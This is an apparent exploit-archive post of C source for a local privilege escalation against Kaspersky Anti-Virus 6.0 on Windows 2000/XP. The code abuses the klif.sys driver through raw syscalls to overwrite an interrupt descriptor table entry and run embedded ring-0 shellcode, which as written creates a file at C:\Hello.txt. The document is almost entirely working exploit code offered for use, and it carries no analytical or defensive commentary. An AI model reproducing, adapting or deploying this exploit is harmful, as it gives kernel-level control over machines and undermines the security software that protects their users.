kav60-escalate.txt
Posted on 16 January 2007
// kav 6.0 0day local priv escalation exploit // by m4d // http://unl0ck.net #include <windows.h> #include <stdlib.h> #include <stdio.h> // r0-shellcode creates C:Hello.txt with "Hello from ring-0! :)" unsigned char Shellcode[405] = { 0x55, 0x8B, 0xEC, 0x83, 0xC4, 0xBC, 0x60, 0x83, 0x4D, 0xE8, 0xFF, 0x0F, 0x01, 0x4D, 0xFA, 0x8B, 0x4D, 0xFC, 0x81, 0xC1, 0x50, 0x01, 0x00, 0x00, 0x66, 0x8B, 0x71, 0x06, 0xC1, 0xE6, 0x10, 0x66, 0x8B, 0x31, 0x4E, 0x66, 0x81, 0x3E, 0x4D, 0x5A, 0x75, 0xF8, 0x8B, 0x46, 0x3C, 0xA9, 0x00, 0xFF, 0xFF, 0xFF, 0x75, 0xEE, 0x81, 0x3C, 0x30, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE5, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x8D, 0x90, 0xB7, 0x00, 0x00, 0x00, 0x8D, 0x5A, 0x58, 0x8B, 0xC6, 0x6A, 0x0D, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xEC, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x08, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF0, 0x03, 0xD1, 0x8B, 0xC6, 0x6A, 0x0C, 0x59, 0xFF, 0xD3, 0x89, 0x45, 0xF4, 0x03, 0xD1, 0x89, 0x55, 0xE4, 0x6A, 0x20, 0x58, 0x66, 0x89, 0x45, 0xE0, 0x66, 0x89, 0x45, 0xE2, 0x8D, 0x4D, 0xC0, 0xC7, 0x01, 0x18, 0x00, 0x00, 0x00, 0x83, 0x61, 0x04, 0x00, 0xC7, 0x41, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x83, 0x61, 0x10, 0x00, 0x8D, 0x45, 0xE0, 0x89, 0x41, 0x08, 0x83, 0x61, 0x14, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x20, 0x6A, 0x03, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x45, 0xD8, 0x50, 0x8D, 0x45, 0xC0, 0x50, 0x68, 0x04, 0x00, 0x10, 0x00, 0x8D, 0x45, 0xBC, 0x50, 0xFF, 0x55, 0xEC, 0x85, 0xC0, 0x75, 0x2D, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x17, 0x8B, 0x45, 0xE4, 0x0F, 0xB7, 0x4D, 0xE0, 0x03, 0xC1, 0x50, 0x8D, 0x45, 0xD8, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF4, 0xFF, 0x75, 0xBC, 0xFF, 0x55, 0xF0, 0xC7, 0x45, 0xE8, 0xEF, 0xBE, 0xAD, 0xDE, 0x61, 0x8B, 0x45, 0xE8, 0xC9, 0xCF, 0x5A, 0x77, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, 0x65, 0x00, 0x5A, 0x77, 0x57, 0x72, 0x69, 0x74, 0x65, 0x46, 0x69, 0x6C, 0x65, 0x00, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x6F, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x72, 0x69, 0x6E, 0x67, 0x2D, 0x30, 0x21, 0x20, 0x3A, 0x29, 0x0D, 0x0A, 0x60, 0x8B, 0x50, 0x3C, 0x8B, 0x54, 0x10, 0x78, 0x03, 0xD0, 0x8B, 0x5A, 0x20, 0x03, 0xD8, 0x33, 0xED, 0x8B, 0x4A, 0x18, 0x51, 0x8B, 0x4C, 0x24, 0x1C, 0x8B, 0x33, 0x03, 0xF0, 0x8B, 0x7C, 0x24, 0x18, 0xF3, 0xA6, 0x59, 0x74, 0x06, 0x45, 0x83, 0xC3, 0x04, 0xE2, 0xE8, 0x8B, 0x4A, 0x24, 0x03, 0xC8, 0x0F, 0xB7, 0x0C, 0x69, 0x8B, 0x6A, 0x1C, 0x03, 0xE8, 0x95, 0x03, 0x2C, 0x88, 0x89, 0x6C, 0x24, 0x1C, 0x61, 0xC3 }; typedef struct _FIRST_PARAM { ULONG SwitchIndex; ULONG Unknown; // 0xFF0002...0xFF000F, if this parameters won't be in the list of klif.sys, sploit won't work.. ULONG Value; // this value will rewrite DWORD of memory } FIRST_PARAM, *PFIRST_PARAM; void main(int argc, char* argv[]) { __try { FIRST_PARAM Param1; ULONG Param2; // pointer to write DATA - 8 CHAR Idtr[6]; CHAR IsKAVInstalled; OSVERSIONINFOEX os; os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); GetVersionEx((LPOSVERSIONINFO)&os); if (os.dwPlatformId != VER_PLATFORM_WIN32_NT || os.dwMajorVersion != 5 || os.dwMinorVersion > 1) { printf("This OS version unsupported "); return; } // , KAV __asm { cmp os.dwMinorVersion, 0 jnz short $+13 mov eax, 0F8h // 2k jmp short $+7 mov eax, 11Ch // xp int 2Eh cmp eax, 0Ch setz al mov IsKAVInstalled, al } if (!IsKAVInstalled) { printf("KAV6 didn't installed "); return; } Param1.SwitchIndex = 3; // Index of jmp in case of switch() Param1.Unknown = 0xFF0002; __asm { pusha sidt Idtr mov eax, dword ptr [Idtr+2] add eax, 0DAh * 8 - 8 mov Param2, eax // Write lower DWORD IdtEntry mov ecx, offset Shellcode and ecx, 0000FFFFh or ecx, 00080000h mov Param1.Value, ecx // Set DWORD: [selector 0x0008 | LOWORD(Shellcode)] push Param2 lea eax, Param1 push eax mov edx, esp cmp os.dwMinorVersion, 0 jnz short $+13 mov eax, 100h // 2k jmp short $+7 mov eax, 124h // xp int 2Eh add esp, 2*4 // Write high DWORD IdtEntry add Param2, 4 mov ecx, offset Shellcode and ecx, 0FFFF0000h or ecx, 0000EE00h mov Param1.Value, ecx // Set DWORD: [HIWORD(Shellcode) | gate parameters 0xEE00] push Param2 lea eax, Param1 push eax mov edx, esp cmp os.dwMinorVersion, 0 jnz short $+13 mov eax, 100h // 2k jmp short $+7 mov eax, 124h // xp int 2Eh add esp, 2*4 // Call Gate :-) (COLGATE) push fs int 0DAh pop fs popa } printf("Exploited successful "); } __except(1) { printf("Can't create interrupt gate "); } } // 15.01.07 MaD
